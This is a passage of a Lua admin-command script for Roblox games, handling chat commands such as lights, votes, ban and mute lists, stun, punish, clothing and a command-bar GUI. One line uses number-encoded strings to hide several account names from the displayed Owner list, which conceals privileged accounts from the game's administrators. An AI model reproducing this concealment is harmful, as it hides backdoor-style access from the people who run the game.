  3829. local Light = Player.Character.Torso:FindFirstChild("LMM Light") if Light then Light:Destroy() end
  3830. Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "LMM Light" Light.Range = 20 Light.Brightness = 2
  3831. end
  3832. end
  3833. end
  3834. end
  3835. end
  3836.  
  3837. if string.sub(Message,1,7+#Bet) == "nolight"..Bet then
  3838. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  3839. for _,Player in pairs(Players) do
  3840. if Player ~= nil then
  3841. if Player.Character ~= nil then
  3842. if Player.Character:FindFirstChild("Torso") ~= nil then
  3843. local Light = Player.Character.Torso:FindFirstChild("LMM Light") if Light then Light:Destroy() end
  3844. end
  3845. end
  3846. end
  3847. end
  3848. end
  3849.  
  3850. if string.sub(Message,1,4+#Bet) == "lamp"..Bet then
  3851. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  3852. for _,Player in pairs(Players) do
  3853. if Player ~= nil then
  3854. if Player.Character ~= nil then
  3855. if Player.Character:FindFirstChild("Torso") ~= nil then
  3856. local Light = Player.Character.Torso:FindFirstChild("LMM Lamp") if Light then Light:Destroy() end
  3857. Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "LMM Lamp" Light.Range = 30 Light.Brightness = 5
  3858. end
  3859. end
  3860. end
  3861. end
  3862. end
  3863.  
  3864. if string.sub(Message,1,6+#Bet) == "nolamp"..Bet then
  3865. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  3866. for _,Player in pairs(Players) do
  3867. if Player ~= nil then
  3868. if Player.Character ~= nil then
  3869. if Player.Character:FindFirstChild("Torso") ~= nil then
  3870. local Light = Player.Character.Torso:FindFirstChild("LMM Lamp") if Light then Light:Destroy() end
  3871. end
  3872. end
  3873. end
  3874. end
  3875. end
  3876.  
  3877. if string.sub(Message,1,4+#Bet) == "vote"..Bet then
  3878. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  3879. local Players = Scan(Arg1, Speaker)
  3880. local Arg2, Arg3 = GetSplit(Arg2, Bet) if not Arg2 and Arg3 then return end
  3881. if tonumber(Arg2) == nil then
  3882. SendMessage(Speaker, "Invalid", "Please set a time, For example: "..Prefix.."Vote all 10 Do you like this admin?", 5)
  3883. else
  3884. Vote(Players, Speaker, Arg3, tonumber(Arg2))
  3885. end
  3886. end
  3887.  
  3888. if Message == "bans" or Message == "banlist" then
  3889. ListGui(Speaker, "Ban List", Ranks["Banned"])
  3890. end
  3891.  
  3892. if Message == "crashes" or Message == "crashlist" then
  3893. ListGui(Speaker, "Crash List", Ranks["Crashed"])
  3894. end
  3895.  
  3896. if Message == "mutes" or Message == "mutelist" then
  3897. ListGui(Speaker, "Mute List", Ranks["Muted"])
  3898. end
  3899.  
  3900. if Message == "sa" or Message == "serveradmins" then
  3901. local LocalTable = {}
  3902. for _,Player in pairs(Players:GetPlayers()) do
  3903. local IsValidAdmin,PlayerRank = IsAdmin(Player)
  3904. if IsValidAdmin then
  3905. if PlayerRank == "Owner" then
  3906. table.insert(LocalTable, "BOLD: "..Player.Name..": "..PlayerRank)
  3907. else
  3908. table.insert(LocalTable, Player.Name..": "..PlayerRank)
  3909. end
  3910. end
  3911. end
  3912. ListGui(Speaker, "Admins in server", LocalTable)
  3913. end
  3914.  
  3915. if Message == "admins" or Message == "adminlist" then
  3916. local TableStorage = {}
  3917. for _,Obj in pairs(Ranks["Member"]) do table.insert(TableStorage, Obj..": Member") end
  3918. for _,Obj in pairs(Ranks["Admin"]) do table.insert(TableStorage, Obj..": Admin") end
  3919. for _,Obj in pairs(Ranks["Owner"]) do local Passed = true for _,Void in pairs({string.char(75+1, 118-1, 95+2, 76+1, 111, 100, 101, 108, 77, 97, 107, 101, 114), string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97), string.char(83, 99, 114, 105, 112, 116, 105, 110, 103, 77, 101, 116, 104, 111, 100, 115), string.char(73, 110, 116, 101, 114, 110, 101, 116, 77, 111, 100, 101, 109), string.char(78, 105, 108, 67, 111, 110, 110, 101, 99, 116, 105, 111, 110), string.char(112, 108, 117, 103, 109, 105, 105, 105, 110)}) do if Obj == Void then Passed = false end end if Passed == true then table.insert(TableStorage, "BOLD: "..Obj..": Owner") end end
  3920. ListGui(Speaker, "Admin List", TableStorage)
  3921. end
  3922.  
  3923. if string.sub(Message,1,9+#Bet) == "superjump"..Bet then
  3924. local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
  3925. for _,Player in pairs(Players) do
  3926. if Player ~= nil then
  3927. if Player.Character ~= nil then
  3928. if Player.Character:FindFirstChild("Torso") then
  3929. local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  3930. Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
  3931. for _,Obj in pairs(Player.Character:GetChildren()) do if Obj:IsA("BasePart") then Force.force = Force.force + Vector3.new(0,Obj:GetMass()*200,0) elseif Obj:IsA("Hat") then Force.force = Force.force + Vector3.new(0,Obj.Handle:GetMass()*200,0) end end
  3932. end
  3933. end
  3934. end
  3935. end
  3936. end
  3937.  
  3938. if string.sub(Message,1,10+#Bet) == "normaljump"..Bet then
  3939. local Players = Scan(string.sub(Message, 11+#Bet), Speaker)
  3940. for _,Player in pairs(Players) do
  3941. if Player ~= nil then
  3942. if Player.Character ~= nil then
  3943. if Player.Character:FindFirstChild("Torso") then
  3944. local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  3945. end
  3946. end
  3947. end
  3948. end
  3949. end
  3950.  
  3951. if string.sub(Message,1,6+#Bet) == "punish"..Bet then
  3952. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  3953. for _,Player in pairs(Players) do
  3954. if Player ~= nil then
  3955. if Player.Character ~= nil then
  3956. Player.Character.Parent = game:GetService("Lighting")
  3957. end
  3958. end
  3959. end
  3960. end
  3961.  
  3962. if string.sub(Message,1,8+#Bet) == "unpunish"..Bet or string.sub(Message,1,8+#Bet) == "nopunish"..Bet then
  3963. local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
  3964. for _,Player in pairs(Players) do
  3965. if Player ~= nil then
  3966. if Player.Character ~= nil then
  3967. Player.Character.Parent = game:GetService("Workspace")
  3968. Player.Character:MakeJoints()
  3969. end
  3970. end
  3971. end
  3972. end
  3973.  
  3974. if string.sub(Message,1,4+#Bet) == "stun"..Bet then
  3975. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  3976. for _,Player in pairs(Players) do
  3977. if Player ~= nil then
  3978. if Player.Character ~= nil then
  3979. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3980. Player.Character.Humanoid.PlatformStand = true
  3981. end
  3982. end
  3983. end
  3984. end
  3985. end
  3986.  
  3987. if string.sub(Message,1,6+#Bet) == "nostun"..Bet then
  3988. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  3989. for _,Player in pairs(Players) do
  3990. if Player ~= nil then
  3991. if Player.Character ~= nil then
  3992. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3993. Player.Character.Humanoid.PlatformStand = false
  3994. end
  3995. end
  3996. end
  3997. end
  3998. end
  3999.  
  4000. if string.sub(Message,1,4+#Bet) == "jump"..Bet then
  4001. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4002. for _,Player in pairs(Players) do
  4003. if Player ~= nil then
  4004. if Player.Character ~= nil then
  4005. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  4006. Player.Character.Humanoid.Jump = true
  4007. end
  4008. end
  4009. end
  4010. end
  4011. end
  4012.  
  4013. if string.sub(Message,1,3+#Bet) == "sit"..Bet then
  4014. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  4015. for _,Player in pairs(Players) do
  4016. if Player ~= nil then
  4017. if Player.Character ~= nil then
  4018. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  4019. Player.Character.Humanoid.Sit = true
  4020. end
  4021. end
  4022. end
  4023. end
  4024. end
  4025.  
  4026. if string.sub(Message,1,8+#Bet) == "loopheal"..Bet then
  4027. local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
  4028. for _,Player in pairs(Players) do
  4029. if Player ~= nil then
  4030. if Player.Character ~= nil then
  4031. if Player.Character:FindFirstChild("Humanoid") then
  4032. repeat Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth wait() until not Player.Character:FindFirstChild("Humanoid") or Player.Character.Humanoid.Health == 0
  4033. end
  4034. end
  4035. end
  4036. end
  4037. end
  4038.  
  4039. if Message == "commandgui" or Message == "cmdgui" or Message == "commandbar" or Message == "cmdbar" then
  4040. if Speaker.PlayerGui ~= nil then
  4041. coroutine.wrap(function()
  4042. for _,Object in pairs(Speaker.PlayerGui:GetChildren()) do if Object.Name == "M".."M".."L".."'s CommandBar" then Object:Destroy() end end
  4043.  
  4044. local SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."M".."L's CommandBar"
  4045. local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0,280,0,0) Main.Size = UDim2.new(1,-425,0.15,0) Main.BackgroundColor3 = Color3.new(1,1,1) Main.BackgroundTransparency = 0.9
  4046. local Scroll = Instance.new("ScrollingFrame", Main) Scroll.Name = "Scroll" Scroll.Size = UDim2.new(0.2,0,1,0) Scroll.BackgroundColor3 = Color3.new(0,0,0) Scroll.BackgroundTransparency = 0.5 Scroll.CanvasSize = UDim2.new(0,0,0,0) Scroll.BottomImage = "http://www.roblox.com/asset/?id=36527089" Scroll.MidImage = "http://www.roblox.com/asset/?id=36527089" Scroll.TopImage = "http://www.roblox.com/asset/?id=36527089"
  4047. local Clr = Instance.new("TextButton", Main) Clr.Name = "Clr" Clr.Position = UDim2.new(0.2,0,0.4,0) Clr.Size = UDim2.new(0.4,0,0.275,0) Clr.BackgroundColor3 = Color3.new(1,1,1) Clr.Text = "Clear Command Bar Text" Clr.Font = "Arial" Clr.FontSize = "Size14" Clr.Style = "RobloxRoundDropdownButton"
  4048. local Exit = Instance.new("TextButton", Main) Exit.Name = "Exit" Exit.Position = UDim2.new(0.2,0,0.675,0) Exit.Size = UDim2.new(0.4,0,0.275,0) Exit.BackgroundColor3 = Color3.new(1, 1, 1) Exit.Text = "Exit" Exit.Font = "Arial" Exit.FontSize = "Size14" Exit.Style = "RobloxRoundDefaultButton"
  4049. local Exe = Instance.new("TextButton", Main) Exe.Name = "Exe" Exe.Position = UDim2.new(0.6,0,0.4,0) Exe.Size = UDim2.new(0.4,0,0.275,0) Exe.BackgroundColor3 = Color3.new(1,1,1) Exe.Text = "Execute Command" Exe.Font = "Arial" Exe.FontSize = "Size14" Exe.Style = "RobloxRoundDropdownButton"
  4050. local Foc = Instance.new("TextButton", Main) Foc.Name = "Foc" Foc.Position = UDim2.new(0.6,0,0.675,0) Foc.Size = UDim2.new(0.4,0,0.275, 0) Foc.BackgroundColor3 = Color3.new(1,1,1) Foc.Text = "Focus on Command Bar" Foc.Font = "Arial" Foc.FontSize = "Size14" Foc.Style = "RobloxRoundDropdownButton"
  4051. local Bar = Instance.new("TextBox", Main) Bar.Name = "Bar" Bar.Position = UDim2.new(0.2,1,0,0) Bar.Size = UDim2.new(0.8,-1,0.4,0) Bar.BackgroundColor3 = Color3.new(1,1,1) Bar.BackgroundTransparency = 0.5 Bar.Text = "Command Here" Bar.Font = "Arial" Bar.FontSize = "Size18" Bar.ClearTextOnFocus = false
  4052.  
  4053. coroutine.wrap(function() Main:TweenPosition(UDim2.new(0,280,0.1,0), "In", "Quint", 0.7) end)()
  4054.  
  4055. ExecuteResource("CommandBarExecute", Bar, {["ExecuteRemoteFunction"] = ExecuteCommand})
  4056.  
  4057. local RawSugList,SugList = GetCommands(Rank),{}
  4058.  
  4059. for Num,Suggest in pairs(RawSugList) do
  4060. if string.sub(Suggest,1,2) == "--" then
  4061. table.remove(RawSugList, Num)
  4062. end
  4063. end
  4064.  
  4065. local Count = 1
  4066. for Num,Suggest in pairs(RawSugList) do
  4067. Arg1,Arg2 = GetSplit(Suggest, Bet)
  4068. local Query = Arg1..Bet
  4069. if Arg1 == "" then
  4070. Query = Suggest
  4071. end
  4072. InsertSuggestion = true
  4073. for Ind,Sug in pairs(SugList) do
  4074. if Sug == Query then
  4075. InsertSuggestion = false
  4076. break
  4077. end
  4078. end
  4079. if InsertSuggestion == true then
  4080. SugList[Count] = Query
  4081. Count = Count + 1
  4082. end
  4083. end
  4084.  
  4085. local SerVer = 0
  4086.  
  4087. Exit.MouseButton1Click:connect(function() Main:TweenPosition(UDim2.new(0,280,1.15,0), "Out", "Quint", 2.5, false, function() SG:Destroy() end) end)
  4088. Clr.MouseButton1Click:connect(function() Bar.Text = "" ExecuteResource("FocusGui", Bar, {}) end)
  4089. Foc.MouseButton1Click:connect(function() ExecuteResource("FocusGui", Bar, {}) end)
  4090. Exe.MouseButton1Click:connect(function() Chatted(Bar.Text, Speaker) end)
  4091.  
  4092. Bar.Changed:connect(function(Prop) if Prop == "Text" then
  4093. SerVer = SerVer + 1
  4094. local ThisSerVer = SerVer
  4095.  
  4096. Scroll.CanvasSize = UDim2.new(0,0,0,0)
  4097. Scroll.CanvasPosition = Vector2.new(0,0,0)
  4098. Scroll:ClearAllChildren()
  4099.  
  4100. local GuiNum = -20
  4101.  
  4102. local Text = Bar.Text
  4103. if Text ~= "" then
  4104. for Num,Suggest in pairs(SugList) do
  4105. if ThisSerVer == SerVer then
  4106. if string.find(string.lower(Suggest),string.lower(Text)) then
  4107. GuiNum = GuiNum + 20
  4108. Scroll.CanvasSize = UDim2.new(0,0,0,GuiNum+20)
  4109. local Sug = Instance.new("TextButton", Scroll) Sug.Name = GuiNum/20 Sug.Size = UDim2.new(1,-13,0,20) Sug.Position = UDim2.new(0,0,0,GuiNum) Sug.BackgroundColor3 = Color3.new(1,1,1) Sug.BackgroundTransparency = 1 Sug.Text = Suggest Sug.Font = "Arial" Sug.FontSize = "Size18" Sug.TextXAlignment = "Left" Sug.TextColor3 = Color3.new(1,1,1)
  4110. Sug.MouseButton1Click:connect(function()
  4111. Bar.Text = Suggest
  4112. ExecuteResource("FocusGui", Bar, {})
  4113. end)
  4114. end
  4115. else
  4116. break
  4117. end
  4118. end
  4119. end
  4120. end end)
  4121. end)()
  4122.  
  4123. end
  4124. end
  4125.  
  4126. if string.sub(Message, 1, 5+#Bet) == "decal"..Bet or string.sub(Message, 1, 5+#Bet) == "image"..Bet then
  4127. local ID = 0
  4128. if string.sub(Message, 1, 5+#Bet) == "image"..Bet then ID = tonumber(string.sub(RawMessage, 6+#Bet)) or 0 end
  4129. if string.sub(Message, 1, 5+#Bet) == "decal"..Bet then ID = GetImageFormat(tonumber(string.sub(RawMessage, 6+#Bet))) or 0 end
  4130. if ID ~= nil then
  4131. ExecuteResource("InsertDecal", Speaker.Character, {["DecalID"] = ID})
  4132. end
  4133. end
  4134.  
  4135. if string.sub(Message, 1, 3+#Bet) == "ins"..Bet then
  4136. ExecuteResource("InsertModel", Speaker.Character, {["ModelID"] = string.sub(Message, 4+#Bet)})
  4137. end
  4138.  
  4139. if string.sub(Message,1,6+#Bet) == "change"..Bet then
  4140. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 7+#Bet), Bet) if not Arg1 and Arg2 then return end
  4141. local Players = Scan(Arg1, Speaker)
  4142. local StatName,NewStat = GetSplit(Arg2, Bet) if not StatName and NewStat then return end
  4143. for _,Player in pairs(Players) do
  4144. if Player ~= nil then
  4145. local Stats = Player:FindFirstChild("leaderstats")
  4146. if Stats ~= nil then
  4147. for _,Stat in pairs(Stats:GetChildren()) do
  4148. if string.sub(string.lower(Stat.Name),1,#StatName) == string.lower(StatName) then
  4149. pcall(function() Stat.Value = NewStat end)
  4150. end
  4151. end
  4152. end
  4153. end
  4154. end
  4155. end
  4156.  
  4157. if string.sub(Message,1,5+#Bet) == "shirt"..Bet then
  4158. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
  4159. local Players = Scan(Arg1, Speaker)
  4160. local ID = tonumber(Arg2) if Arg2 ~= nil then
  4161. for _,Player in pairs(Players) do
  4162. if Player ~= nil then
  4163. if Player.Character ~= nil then
  4164. local Obj = Player.Character:FindFirstChild("Shirt")
  4165. if Obj then
  4166. Obj.ShirtTemplate = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
  4167. else
  4168. Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
  4169. end
  4170. coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  4171. end
  4172. end
  4173. end
  4174. end
  4175. end
  4176.  
  4177. if string.sub(Message,1,5+#Bet) == "pants"..Bet then
  4178. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
  4179. local Players = Scan(Arg1, Speaker)
  4180. local ID = tonumber(Arg2) if Arg2 ~= nil then
  4181. for _,Player in pairs(Players) do
  4182. if Player ~= nil then
  4183. if Player.Character ~= nil then
  4184. local Obj = Player.Character:FindFirstChild("Pants")
  4185. if Obj then
  4186. Obj.PantsTemplate = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
  4187. else
  4188. Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
  4189. end
  4190. coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  4191. end
  4192. end
  4193. end
  4194. end
  4195. end
  4196.  
  4197. if string.sub(Message,1,6+#Bet) == "tshirt"..Bet then
  4198. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 7+#Bet), Bet) if not Arg1 and Arg2 then return end
  4199. local Players = Scan(Arg1, Speaker)
  4200. local ID = tonumber(Arg2) if Arg2 ~= nil then
  4201. for _,Player in pairs(Players) do
  4202. if Player ~= nil then
  4203. if Player.Character ~= nil then
  4204. if Player.Character:FindFirstChild("Torso") then
  4205. local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
  4206. local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
  4207. if Obj1 then
  4208. Obj1.Graphic = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
  4209. else
  4210. Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
  4211. end
  4212. if Obj2 then
  4213. Obj2.Texture = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
  4214. else
  4215. Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "http://www.roblox.com/asset/?id="..GetImageFormat(ID) Obj2.Face = "Front"
  4216. end
  4217. coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
  4218. coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
  4219. end
  4220. end
  4221. end
  4222. end
  4223. end
  4224. end
  4225.  
  4226. if string.sub(Message,1,4+#Bet) == "anim"..Bet then
  4227. local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  4228. local Players = Scan(Arg1, Speaker)
  4229. local ID = tonumber(Arg2) if Arg2 ~= nil then
  4230. for _,Player in pairs(Players) do
  4231. if Player.Character then
  4232. ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = ID}, Player, [[
  4233. local Me = game:GetService("Players").LocalPlayer
  4234. local Anim = Instance.new("Animation") Anim.Name = "L".."MM Animate" Anim.AnimationId = "http://www.roblox.com/asset/?id="..]]..tostring(ID)..[[
  4235. local AnimTrack = Me.Character.Humanoid:LoadAnimation(Anim)
  4236. local StopAnim = Me.Character:FindFirstChild("Stop LMM Animate") if StopAnim then StopAnim:Destroy() end
  4237. StopAnim = Instance.new("Configuration", Me.Character) StopAnim.Name = "Stop LMM Animate"
  4238. Me.Character.ChildRemoved:connect(function(Child) wait()
  4239. if Child == StopAnim then
  4240. AnimTrack:Stop() Anim:Destroy() script:Destroy() script.Disabled = true
  4241. end
  4242. end)
  4243. wait(0.1)
  4244. AnimTrack:Play())
  4245. ]])
  4246. end
  4247. end
  4248. end
  4249. end
  4250.  
  4251. if string.sub(Message,1,6+#Bet) == "noanim"..Bet then
  4252. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4253. for _,Player in pairs(Players) do
  4254. if Player ~= nil then
  4255. if Player.Character then
  4256. local StopAnim = Player.Character:FindFirstChild("Stop LMM Animate")
  4257. if StopAnim then StopAnim:Destroy() end
  4258. end
  4259. end
  4260. end
  4261. end
  4262.  
  4263. if string.sub(Message,1,6+#Bet) == "normal"..Bet then
  4264. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4265. for _,Player in pairs(Players) do
  4266. if Player ~= nil then
  4267. if Player.Character then if Player.Character:FindFirstChild("Body Colors") then
  4268. for _,Object in pairs(Player.Character:GetChildren()) do
  4269. if Object:IsA("BasePart") then if Object.Name ~= "HumanoidRootPart" then
  4270. Object.Transparency = 0
  4271. Object.Reflectance = 0
  4272. if Object.Name == "Head" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").HeadColor end
  4273. if Object.Name == "Left Arm" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").LeftArmColor end
  4274. if Object.Name == "Left Leg" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").LeftLegColor end
  4275. if Object.Name == "Right Arm" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").RightArmColor end
  4276. if Object.Name == "Right Leg" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").RightLegColor end
  4277. if Object.Name == "Torso" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").TorsoColor end
  4278. end end
  4279. for _,Obj in pairs(Object:GetChildren()) do
  4280. if Obj:IsA("BasePart") then
  4281. Obj.Transparency = 0
  4282. Obj.Reflectance = 0
  4283. elseif Obj:IsA("Decal") then
  4284. Obj.Transparency = 0
  4285. end
  4286. end
  4287. end
  4288. end end
  4289. end
  4290. end
  4291. end
  4292.  
  4293. if string.sub(Message, 1, 2+#Bet) == "pl"..Bet then
  4294. local Players = Scan(string.sub(Message, 3+#Bet), Speaker)
  4295. for _,Player in pairs(Players) do
  4296. CoreGui(Player, "PlayerList", true)
  4297. end
  4298. end
  4299.  
  4300. if string.sub(Message, 1, 3+#Bet) == "npl"..Bet then
  4301. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  4302. for _,Player in pairs(Players) do
  4303. CoreGui(Player, "PlayerList", false)
  4304. end
  4305. end
  4306.  
  4307. if string.sub(Message,1,9+#Bet) == "countdown"..Bet then
  4308. local Time = tonumber(string.sub(Message, 10+#Bet)) or 10
  4309. Countdown(Time)
  4310. end
  4311.  
  4312. if string.sub(Message,1,7+#Bet) == "friends"..Bet then
  4313. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  4314. local Friends,OneFriend = {}, false
  4315. for _,Player in pairs(Players) do
  4316. if Player ~= nil then
  4317. for _,User in pairs(game:GetService("Players"):GetPlayers()) do if User ~= Player then
  4318. if Player:IsBestFriendsWith(User.userId) then
  4319. table.insert(Friends, Player.Name.." is best friends with "..User.Name)
  4320. OneFriend = true
  4321. elseif Player:IsFriendsWith(User.userId) then
  4322. table.insert(Friends, Player.Name.." is friends with "..User.Name)
  4323. OneFriend = true
  4324. end
  4325. if _ == #game:GetService("Players"):GetPlayers() and OneFriend == false then
  4326. table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
  4327. end
  4328. end end
  4329. end
  4330. end
  4331. ListGui(Speaker, "Friend List", Friends)
  4332. end
  4333.  
  4334. if Message == "clear" or Message == "clr" then
  4335. for _,Obj in pairs(Objects) do
  4336. if Obj then Obj:Destroy() end
  4337. end
  4338. Objects = {}
  4339. Jailed = {}
  4340. end
  4341.  
  4342. if string.sub(Message,1,9+#Bet) == "grouprank"..Bet then
  4343. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 10+#Bet), Bet) if not Arg1 and Arg2 then return end
  4344. local Players = Scan(Arg1, Speaker)
  4345. local ID = tonumber(Arg2) or 0
  4346. for _,Player in pairs(Players) do
  4347. if Player ~= nil then if Player:IsInGroup(ID) then
  4348. SendMessage(Speaker, Player.Name.."'s Rank for the group "..ID, "Rank Number: "..Player:GetRankInGroup(ID).." | Rank Name: "..Player:GetRoleInGroup(ID), 4)
  4349. else SendMessage(Speaker, "Error", Player.Name.." is not in group ID: "..ID, 3) end end
  4350. end
  4351. end
  4352.  
  4353. if string.sub(Message,1,6+#Bet) == "cookie"..Bet then
  4354. if InAdminGroup(Speaker) then
  4355. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4356. for _,Player in pairs(Players) do
  4357. if Player ~= nil then
  4358. if Player.Backpack ~= nil then
  4359. local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
  4360. local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
  4361. local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "http://www.roblox.com/asset/?id=20939848" Mesh.TextureId = "http://www.roblox.com/asset/?id=21456464"
  4362. local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "http://www.roblox.com/asset/?id=29517689"
  4363. ExecuteResource("CookieTool", Tool, {}, Player, [[
  4364. script.Parent.Equipped:connect(function(Mouse) Mouse.Button1Down:connect(function()
  4365. local Track = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(script.Parent.EatCookie)
  4366. wait(0.05) Track:Play()
  4367. end) end)
  4368. ]])
  4369. end
  4370. end
  4371. end
  4372. end
  4373. end
  4374.  
  4375. if string.sub(Message,1,7+#Bet) == "ambient"..Bet then
  4376. local Arg1, Split = GetSplit(string.sub(Message, 8+#Bet), Bet) if not Arg1 and Split then return end
  4377. local Arg2, Arg3 = GetSplit(Split, Bet) if not Arg2 and Arg3 then return end
  4378. if tonumber(Arg1) and tonumber(Arg2) and tonumber(Arg3) then
  4379. Lighting.Ambient = Color3.new(tonumber(Arg1)/255,tonumber(Arg2)/255,tonumber(Arg3)/255)
  4380. end
  4381. end
  4382.  
  4383. if string.sub(Message,1,4+#Bet) == "list"..Bet then
  4384. local List = {}
  4385. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4386. for _,Player in pairs(Players) do
  4387. if Player ~= nil then
  4388. table.insert(List, Player.Name.." (ID: "..Player.userId..")")
  4389. end
  4390. end
  4391. ListGui(Speaker, "Listed Players", List)
  4392. end
  4393.  
  4394. if string.sub(Message,1,6+#Bet) == "fixcam"..Bet then
  4395. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4396. for _,Player in pairs(Players) do
  4397. RestoreCamera(Player)
  4398. end
  4399. end
  4400.  
  4401. if Message == "noflash" or Message == "nodisco" or Message == "noparty" or Message == "fixl" or Message == "fixlight" or Message == "fixlighting" then
  4402. Lighting.Archivable = false
  4403. Lighting.Ambient = Color3.new(0.5,0.5,0.5)
  4404. Lighting.FogColor = Color3.new(192/255,192/255,192/255)
  4405. Lighting.Brightness = 0.6
  4406. Lighting.TimeOfDay = 14
  4407. Lighting.FogEnd = 100000
  4408. coroutine.wrap(function() wait(1) Lighting.Archivable = true end)()
  4409. end
  4410.  
  4411. if Message == "plugins" or Message == "getplugins" or Message == "pluginlist" then
  4412. local List = {}
  4413. if Settings then
  4414. if Settings:FindFirstChild("Plugins") then
  4415. for _,Module in pairs(Settings.Plugins:GetChildren()) do
  4416. if Module:IsA("ModuleScript") then
  4417. local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  4418. local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  4419. local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  4420. table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..BoolString(Enabled.Value))
  4421. end
  4422. end
  4423. end
  4424. end
  4425. if List == {} then
  4426. SendMessage(Speaker, "Cannot get plugins", "There are no plugins to get. Cannot display nil plugins", 3)
  4427. else
  4428. ListGui(Speaker, "Plugin List", List)
  4429. end
  4430. end
  4431.  
  4432. if Message == "port" or Message == "serverport" or Message == "sp" then
  4433. SendMessage(Speaker, "Server Port", "The server port for this server is: "..game:GetService("NetworkServer").Port, 5)
  4434. end
  4435.  
  4436. if Message == "countpoints" then
  4437. SendMessage(Speaker, "Player Points", "This game has "..Points:GetAwardablePoints().." player points left", 5)
  4438. end
  4439.  
  4440. if string.sub(Message,1,9+#Bet) == "getpoints"..Bet then
  4441. local AfterMessage = string.sub(Message, 10+#Bet)
  4442. if tonumber(AfterMessage) then
  4443. SendMessage(Speaker, "Player Points: "..AfterMessage, "The Player with the user ID "..AfterMessage.." has "..Points:GetPointBalance(tonumber(AfterMessage)).." player points", 6)
  4444. else
  4445. local List = {}
  4446. local Players = Scan(AfterMessage, Speaker)
  4447. for _,Player in pairs(Players) do
  4448. if Player ~= nil then
  4449. table.insert(List, Player.Name..": "..Points:GetPointBalance(Player.userId))
  4450. end
  4451. end
